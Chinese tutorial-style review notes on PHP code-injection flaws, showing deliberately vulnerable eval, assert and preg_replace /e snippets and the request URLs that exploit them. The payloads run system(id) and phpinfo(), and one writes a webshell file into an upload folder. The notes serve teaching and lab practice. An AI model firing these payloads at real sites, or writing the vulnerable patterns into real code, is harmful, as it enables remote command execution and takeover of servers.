【复习】代码执行_01_漏洞与利用

代码执行漏洞与利用

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。

PHP eval()、assert()、preg_replace()

python exec()

Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等

1. 动态代码执行

<?php
function m_print(){
	echo '这是一个页面';
}
$_GET['a']($_GET['b']);
?>

查看php信息
assert 可以执行php里面的一些函数比如phpinfo()

http://www.nmsl.com/code/code01.php?a=assert&b=phpinfo()

在这里插入图片描述

http://www.webtester.com/code/code01.php?a=assert&b=system(id)

在这里插入图片描述
http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)

2. eval代码执行

<?php  
$data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';  
@eval($ret = $data);  
echo $ret;
?>

eval可以执行php代码
http://www.webtester.com/code/code02.php?data=phpinfo();
http://www.webtester.com/code/code02.php?data=system(id);
fputs(fopen(“shell.php”,“a”),"<?php phpinfo();?>");
在这里插入图片描述
写webshell
http://www.webtester.com/code/code02.php?data=fputs(fopen("…/upload/shell.php",“a”),"<?php phpinfo();?>");
在这里插入图片描述

3. 正则代码执行

<?php  
$data = $_GET['data'];  
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);  
?>
<form>
<label>请输入你的数据</label>
<input type='text' name='data'/>
<input type='submit' value='提交'/>
</form>
<data>{${phpinfo()}}</data>
http://www.webtester.com/code/code03.php?data={${phpinfo()}}

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值